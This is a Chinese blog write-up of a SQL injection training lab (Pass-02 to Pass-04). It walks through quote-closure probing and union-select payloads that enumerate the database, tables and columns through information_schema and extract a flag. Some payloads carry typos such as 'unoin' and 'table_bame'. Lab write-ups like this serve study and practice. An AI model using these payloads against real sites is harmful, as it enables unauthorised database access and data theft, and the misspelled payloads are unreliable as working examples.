前面学习渗透测试Day6的时候,学习了SQL注入原理,于是相应的靶场也就随之而来,这里继续记录剩下的靶场练习WP

考点:显错注入

这里链接SQL注入靶场的第一题:

Pass-02

回显

GET传参:?id=1 and 1=2
        ?id=1 and sleep(3)

并没有被执行,这里加入单引号:

GET传参:?id=1 and 1=2'

回显

GET传参:?id=1' order by 4'

测试发现是三个字段,同时测试发现后两位为显位点
当键入单引号出现报错,说明是单引号闭合

GET传参:?id=1' and union select 1,2,database()'

爆出库:error
回显

payload:?id=1' union select 1,2,table_name from information_schema.tables 
where table_name='error

这里注意单引号的闭合,在最后面会补上,所以这里不闭合
!回显][4]
得到表:user

payload:?id=1' unoin select 1,2,column_name from information_schema.columns
where table_name='user

回显
得到:password

payload:?id=1' union select 1,2,password from user
这里修改:?id=1' union select 1,2,password from user -- aaa

回显
很奇怪,什么也查不出来,这里赶紧换思路,去查其他的表

payload:?id=1' union select 1,2,table_name from information_schema.tables
where table_schema='error limit 1,1 --

回显
得到表:error_flag

payload:?id=1' union select 1,2,column_name from information_schema.columns
where table_bame='error_flag

回显
得到字段:flag
payload:?id=1' union select 1,2,flag from error_flag
拿到flag
回显
发现是个假flag,于是去做limit的字段限制
测试成功的payload如下:

?id=1' union select 1,2,flag from error_flag  -- aaa

这里补充一个知识点:--可以避免单引号闭合带来的影响,这里的使用方法如上

Pass-03

测试一波:

payload:?id=1 and 1=1             回显:正常
payload:?id=1') and 1=1 -- qwe    回显:正常
payload:?id=1 and 1=2 -- qwe      回显:报错

测试字段数:

payload:?id=1') order by 4 -- qwe 回显:异常

说明字段数为3
测试显位点:

payload:?id=1') union select 1,2,3 -- qwe

爆库:

payload:?id=1') union select 1,2,database() -- qwe

回显
数据库:error
爆表:

payload:?id=1') union select 1,2,table_name from information_schema.tables 
where table_scheam='error' limit 1,1 -- qwe

回显
由于前两道题都是从'error_flag'表中得到的flag,所以这里我直接从这张表里找字段
爆字段:

payload:?id=1') union select 1,2,column_name from information_schema.columns
where table_name='error_flag' ####### -- qwe

这里为了防止假flag,把所有字段都试试:

limit 0,1 回显:mima
limit 1,1 回显:Id
limit 2,1 回显:flag
查找字段对应的内容:

payload:?id=1') union select 1,2,flag from error_flag limit 3,1 -- qwe

回显
得到flag

Pass-04

测试:

payload:?id=1 and 1=1  正常
payload:?id=1 and 1=2  正常
payload:?id=1' and 1=2 -- qwe  正常
payload:?id=1') and 1=2 -- qwe 正常
payload:?id=1") and 1=2 -- qwe 正常

这是用了双引号闭合:("")
注入过程与前面相差不多:
测试字段:
payload:?id=1") order by 1/2/3/4
测试显位点:
payload:?id=1") union select 1,version(),database()
回显
爆表:
payload:?id=1") union select 1,2,table_name from information_schema.tables
where table_schema='error' limit 1,1 -- qwe
回显
爆字段:
payload:?id=1") union select 1,2,column_name from information_schema.columns
where table_name='error_flag' -- qwe
回显
limit查找具体内容:
payload:?id=1") union select 1,2,flag from error_flag limit 1,1 -- qwe
拿到flag

总结:

总的来说这四道题目中规中矩库,符合SQL语句练习的目的并且一步一步纪律性步骤测试,难度分别增加,还有一些假flag,在快做出来的时候,这么稍微挫折一下蛮好的,以前去打CTF偶尔可以遇到这样的状况,挺搞心态的,不过好在做出来的满足感更多一些。
当然我们可以用Sqlmap跟更方便,但是这种基本功的夯实更有意义而且可以再熟练一下SQL注入,以及一些自动化工具没有的,比如自己的一些思考和脑洞。

最后修改:2022 年 03 月 12 日 11 : 45 PM
如果觉得这篇文章不错,不妨赏我碎银几两。